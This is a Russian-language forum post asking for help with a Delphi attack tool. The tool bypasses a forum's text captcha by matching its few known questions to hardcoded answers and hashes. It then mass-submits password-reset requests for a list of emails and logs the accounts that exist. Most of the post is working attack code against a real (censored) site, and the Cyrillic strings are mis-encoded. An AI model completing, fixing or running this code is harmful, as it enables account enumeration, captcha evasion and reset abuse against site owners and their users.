Итак нашол на форуме уязвимость по востановлению пароля.
тоесть капча - ловесная типа "2 + 2 - 3 ="
и вопросов там маловато
не не в суть, кароче решыл я спарсить вопрос и потом под
if pos('2 + 2 - 3 =', p.Text)>0 then
begin
Memo4.Lines[i]:= ('1');
Memo5.Lines[i]:= ('097dbaf4b21cbe30698e561cad3e1dfd');
end;
ну вот чтото типо такого, но поля сначало пусты а потом просто копирует приведущие.
Вот сам код:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
IdHTTP, StdCtrls, ExtCtrls, XPMan, Menus;
type
TForm1 = class(TForm)
Memo1: TMemo;
Memo2: TMemo;
Button1: TButton;
Memo3: TMemo;
IdHTTP1: TIdHTTP;
Label1: TLabel;
Label2: TLabel;
Timer1: TTimer;
Label3: TLabel;
Label4: TLabel;
XPManifest1: TXPManifest;
Label5: TLabel;
IdHTTP2: TIdHTTP;
Memo4: TMemo;
Memo5: TMemo;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
work: boolean;
implementation
{$R *.dfm}
function Pars(T_, ForS, _T: String): string;
var a, b:integer;
begin
Result :='';
if (T_='') or (Fors='') or (_T='') then Exit;
a:=Pos(T_, Fors);
if a=0 then Exit else a:=a+Length(T_);
ForS:=Copy(ForS, a, Length(ForS) -a+1);
b:=Pos(_T, ForS);
if b>0 Then
Result:=Copy(ForS, 1,b - 1);
end;
procedure TForm1.Button1Click(Sender: TObject);
var
i, s, ii, iii: integer;
info: tstringlist;
p: tstringlist;
html, y, ss, ot, key: string;
begin
info:=tstringlist.Create;
p:=tstringlist.Create;
for i:=0 to memo1.Lines.Count-1 do
for ii:=0 to memo1.Lines.Count-1 do
for iii:=0 to memo1.Lines.Count-1 do
begin
Application.ProcessMessages;
ot:=Memo4.Lines[i];
key:=Memo5.Lines[i];
p.Text:=idhttp1.Post('http://*********/login.php?do=lostpw', info);
if pos('×åìó ðàâíî ÄÂÀ ïëþñ ÄÂÀ ìèíóñ ÎÄÈÍ', p.Text)>0 then
begin
Memo4.Lines[i]:= ('3');
Memo5.Lines[i]:= ('c511d59c220c3baeb5784e6f7d311631');
end;
if pos('À è Á ñèäåëè íà òðóáå. À óïàëà, Á ïðîïàëà. ×òî îñòàëîñü íà òðóáå', p.Text)>0 then
begin
Memo4.Lines[i]:= ('è');
Memo5.Lines[i]:= ('a7ab58f45c61f371dded0ec90e98c311');
end;
if pos('ÄÂÀ ïëþñ ÄÂÀ ìèíóñ ÄÂÀ áóäåò ñêîëüêî', p.Text)>0 then
begin
Memo4.Lines[i]:= ('2');
Memo5.Lines[i]:= ('097dbaf4b21cbe30698e561cad3e1dfd');
end;
if pos('Íàïèøèòå ñóììó ÷èñåë ÒÐÈ è ÏßÒÜ', p.Text)>0 then
begin
Memo4.Lines[i]:= ('7');
Memo5.Lines[i]:= ('0cf53f5b575b8c05ebea98f4286c8938');
end;
if pos('Êàêîå òðåòüå ñëîâî â ýòîì ïðåäëîæåíèè', p.Text)>0 then
begin
Memo4.Lines[i]:= ('ñëîâî');
Memo5.Lines[i]:= ('62e736694ecad252ee7551f606675afb');
end;
if pos('Ïîñëå çèìû íàñòóïàåò âåñíà, à çà âåñíîé', p.Text)>0 then
begin
Memo4.Lines[i]:= ('ëåòî');
Memo5.Lines[i]:= ('80f860e6b9f2bdd7106e5365e6f30304');
end;
if pos('Åñëè ê ÒÐÅÌ ïðèáàâèòü ÏßÒÜ ìèíóñ ÒÐÈ ïîëó÷èòñÿ', p.Text)>0 then
begin
Memo4.Lines[i]:= ('5');
Memo5.Lines[i]:= ('716ff7f9edd59de3d9063ce11bc16f73');
end;
if pos('ÏßÒÜ ïëþñ ÏßÒÜ è åùå ÏßÒÜ ïîëó÷èòñÿ', p.Text)>0 then
begin
Memo4.Lines[i]:= ('15');
Memo5.Lines[i]:= ('325094e81a0dfcd71a298db5dc68d432');
end;
if pos('Êàê çîâóò Þðèÿ Ãàãàðèíà', p.Text)>0 then
begin
Memo4.Lines[i]:= ('Þðèé');
Memo5.Lines[i]:= ('500dfd690baee6a8459a847e34963964');
end;
if pos('Êàê çîâóò Þðèÿ Ãàãàðèíà', p.Text)>0 then
begin
Memo4.Lines[i]:= ('Þðèé');
Memo5.Lines[i]:= ('500dfd690baee6a8459a847e34963964');
end;
ss:=Memo1.Lines[i];
y:=copy(ss,pos(';', ss)+1,length(ss));
Delete(ss,pos(';', ss)-0,length(ss));
info.Add('email='+ ss);
info.Add('humanverify[input]='+ ot);
info.Add('humanverify[hash]='+ key);
info.Add('s');
info.Add('securitytoken=guest');
info.Add('do=emailpassword');
info.Add('url=http://**********/login.php?do=login');
p.Text:=idhttp2.Post('http://*********/login.php?do=emailpassword', info);
if pos('Âàøå èìÿ ïîëüçîâàòåëÿ', p.Text)>0 then
begin
memo2.Lines.Add(memo1.Lines.Strings[i]);
memo2.Lines.SaveToFile('log.txt');
end
else
begin
memo3.Lines.Add(memo1.Lines.Strings[i]);
end;
end;
end;
end.
Гдето я намудрил необращайте внимание пробую все варианты, может поможет кто?? если сам решу проблему отвечу